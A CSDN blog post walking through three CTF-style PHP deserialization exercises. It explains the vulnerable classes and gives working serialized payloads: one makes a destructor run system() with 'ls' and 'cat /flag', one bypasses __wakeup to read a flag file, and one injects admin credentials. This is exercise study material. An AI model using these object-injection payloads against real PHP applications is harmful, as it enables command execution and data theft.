PHP反序列化相关练习

文章详细描述了PHP代码中的两个安全问题:lyh类中的反序列化操作可能导致命令注入,而X类中的ez_unserialize则涉及条件判断下的用户输入处理。讲解了如何利用这些漏洞进行攻击和绕过机制。
摘要由CSDN通过智能技术生成

1.1z_unserialize

获取题目:

这段 PHP 代码定义了一个名为 lyh 的类,并包含了一个反序列化操作和一个文件高亮显示操作。

  1. 定义 lyh 类:

    • $url 是一个公共属性,其值为 'NSSCTF.com'
    • $lt 和 $lly 也是公共属性,但没有初始值。
  2. 析构函数 __destruct()

    • 该函数从 $this->lt 获取一个值,并将其赋值给 $a
    • 然后,它尝试调用 $a 作为函数,并传递 $this->lly 作为参数。
    • 这意味着,如果外部代码为 lyh 类的实例设置了 $lt 和 $lly 属性,并且 $lt 是一个有效的函数名或可调用的对象,那么当对象被销毁时,这个函数会被执行。
  3. 反序列化操作 unserialize($_POST['nss'])

    • 这行代码尝试从 POST 请求的 nss 参数中反序列化数据。
    • 反序列化是将已存储的表示形式的变量内容转换回 PHP 的值或对象的过程。
  4. 文件高亮显示 highlight_file(__FILE__);

    • 这行代码将当前文件的源代码以高亮的形式显示出来。
    • __FILE__ 是一个魔术常量,表示当前文件的完整路径和文件名。

传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入

构造代码:

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="ls";

}

$demo = new lyh();
echo serialize($demo);

运行

得出代码如下:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
payload:nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

改为cat /flag

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

2.ez_ez_unserialize

这段 PHP 代码定义了一个名为 X 的类,并包含一个基于 $_REQUEST 的条件判断,用于反序列化用户输入的数据。代码的主要功能如下:

  1. 类定义X 类具有一个公共属性 $x 和三个方法:构造函数 __construct()__wakeup() 和析构函数 __destruct().

    • public $x = __FILE__;:类的公共属性 $x 被初始化为当前文件的路径。
    • function __construct($x):这是类的构造函数,接受一个参数 $x,并将其赋值给属性 $x
    • function __wakeup():这是一个魔术方法,当对象被反序列化时自动调用。这个方法检查 $x 属性的值是否不等于当前文件的路径,如果不等,则将其设置为当前文件路径。
    • function __destruct():这是析构函数,当对象不再被引用时自动调用。它使用 highlight_file() 函数高亮并输出 $x 属性所指向的文件的内容。注释中提到“flag is in fllllllag.php”,暗示可能存在一个名为 fllllllag.php 的文件,其中可能包含名为 "flag" 的信息或密钥。
  2. 条件判断if (isset($_REQUEST['x'])) 检查 $_REQUEST 超全局数组是否包含键 'x'

    • 如果存在,使用 @unserialize($_REQUEST['x']) 对用户输入的数据进行反序列化。@ 符号用于抑制可能出现的错误消息。
    • 如果不存在,使用 highlight_file(__FILE__) 高亮并输出当前文件的内容。

需要绕过函数weak_up

在url栏里输入?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

3.ez_unserialize

打开开发者工具:

通过之前学习的robots协议解出“什么东西呢”

输入disallow得到题目

GET参数为p

输入:

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值